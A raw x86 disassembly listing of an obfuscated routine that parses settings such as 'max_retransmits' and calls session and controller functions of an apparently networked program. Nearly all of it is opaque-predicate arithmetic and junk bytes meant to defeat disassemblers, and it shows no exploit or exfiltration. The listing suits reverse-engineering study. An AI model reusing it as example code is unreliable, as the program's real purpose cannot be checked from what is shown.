movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1c0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x100]
fldcw word [esp + 0x12e]
jmp 0x4230db
nop
mov edi, dword [esp + 0x100]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x423151
mov dword [esp], 0
call dbg.session_set_transmit_immediately
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x840]
xor eax, eax
je 0x42320b
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x840]
fstp qword [esp + 0x1c8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4232f7
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4232f7
mov dword [esp + 0xfc], 6
jmp 0x4233ff
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4233fe
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1c8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xfc]
fldcw word [esp + 0x12e]
jmp 0x4233ff
nop
mov edi, dword [esp + 0xfc]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x423aad
fld qword [0x43cbe8]
fstp qword [esp + 0x838]
xor eax, eax
je 0x42347a
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x838]
fstp qword [esp + 0x1d0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42355a
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4235f6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4235f5
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x1d0]
fstp st(0)
jmp 0x4235f6
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x830]
xor eax, eax
je 0x4236c5
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x830]
fstp qword [esp + 0x1d8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4237ae
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4237ae
mov dword [esp + 0x60], 6
jmp 0x4238b3
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4238b2
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1d8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x60]
fldcw word [esp + 0x12e]
jmp 0x4238b3
nop
mov edi, dword [esp + 0x60]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cc08]
fstp qword [esp + 0x828]
xor eax, eax
je 0x42392c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x828]
fstp qword [esp + 0x1e0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x423a0c
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x423aa8
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x423aa7
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x1e0]
fstp st(0)
jmp 0x423aa8
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.max_retransmits
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x423b28
fld1
jmp 0x423b2a
fldz
fstp qword [esp + 0x820]
xor eax, eax
je 0x423b36
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x820]
fstp qword [esp + 0x1e8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x423c22
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x423c22
mov dword [esp + 0xf8], 6
jmp 0x423d2a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x423d29
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1e8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xf8]
fldcw word [esp + 0x12e]
jmp 0x423d2a
nop
mov edi, dword [esp + 0xf8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x423da4
mov eax, dword [0x4440f4]
mov dword [esp], eax
call sym._atoi
mov dword [esp], eax
call dbg.controller_set_max_retransmits
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul eax, edx
shl eax, 2
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x818]
xor eax, eax
je 0x423e61
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x818]
fstp qword [esp + 0x1f0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x423f4d
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x423f4d
mov dword [esp + 0xf4], 6
jmp 0x424055
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424054
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x1f0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xf4]
fldcw word [esp + 0x12e]
jmp 0x424055
nop
mov edi, dword [esp + 0xf4]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x424701
fld qword [0x43cbf8]
fstp qword [esp + 0x810]
xor eax, eax
je 0x4240d3
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x810]
fstp qword [esp + 0x1f8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4241b3
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x42424f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42424e
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x1f8]
fstp st(0)
jmp 0x42424f
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x808]
xor eax, eax
je 0x42431f
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x808]
fstp qword [esp + 0x200]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424408
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x424408
mov dword [esp + 0x5c], 6
jmp 0x42450d
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42450c
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x200]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x5c]
fldcw word [esp + 0x12e]
jmp 0x42450d
nop
mov edi, dword [esp + 0x5c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cc00]
fstp qword [esp + 0x800]
xor eax, eax
je 0x424580
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x800]
fstp qword [esp + 0x208]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x424660
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4246fc
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4246fb
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
